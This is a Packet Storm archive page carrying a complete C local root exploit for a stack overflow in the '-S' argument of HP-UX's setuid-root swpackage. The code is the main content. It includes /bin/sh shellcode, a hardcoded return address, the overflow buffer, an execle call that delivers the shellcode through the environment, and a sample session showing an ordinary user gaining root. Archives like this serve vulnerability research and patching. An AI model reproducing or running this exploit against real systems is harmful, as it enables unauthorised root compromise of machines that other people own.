what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-HPUX-swpackage.c

prdelka-vs-HPUX-swpackage.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

HP-UX swpackage buffer overflow exploit. HP-UX 'swpackage' contains an exploitable stack overflow in the handling of command line arguments. Specifically the problem occurs due to insufficient bounds checking in the "-S" optional argument. 'swpackage' is installed setuid root by default in HP-UX and allows for local root compromise when exploiting this issue.

tags | exploit, overflow, local, root
systems | hpux
SHA-256 | 02450b690464a6879577282db8258a809e36d37c3095b86ce73f246a5e8dae97

prdelka-vs-HPUX-swpackage.c

Change Mirror Download
/* HP-UX swpackage buffer overflow exploit
* =======================================
* HP-UX 'swpackage' contains an exploitable stack overflow
* in the handling of command line arguements. Specifically the
* problem occurs due to insufficent bounds checking in the "-S"
* optional arguement. 'swpackage' is installed setuid root by
* default in HP-UX and allows for local root compromise when
* exploiting this issue.
*
* Example.
* $ cc prdelka-vs-HPUX-swpackage.c -o prdelka-vs-HPUX-swpackage
* /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file
* (prdelka-vs-HPUX-swpackage.o) was detected. The linked output may
* not run on a PA 1.x system.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ls -al /usr/sbin/swpackage
* -r-sr-xr-x 2 root bin 1323008 Nov 3 2003 /usr/sbin/swpackage
* $ ./prdelka-vs-HPUX-swpackage
* [ HP-UX 11i 'swpackage' local root exploit
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
*
* - prdelka
*/

char shellcode[]=
"\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\xb4\x16\x70\x16""/bin/sh";

int main(){
char adr[4],*b,*a,*c,*envp[1];
int i;
*(unsigned long*)adr=0x7f7f0434;
printf("[ HP-UX 11i 'swpackage' local root exploit\n");
b=(char*)malloc(2048);
a=b;
memset(b,0,2048);
memset(b,'a',1053);
b+=1053;
for(i=0;i<4;i++) *b++=adr[i%4];
c=(char*)malloc(2048);
b=c;
memset(c,0,2048);
sprintf(c,"PATH=");
b+=5;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
envp[0]=c;
envp[1]=0;
execle("/usr/sbin/swpackage","swpackage","-S",a,0,envp);
}

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close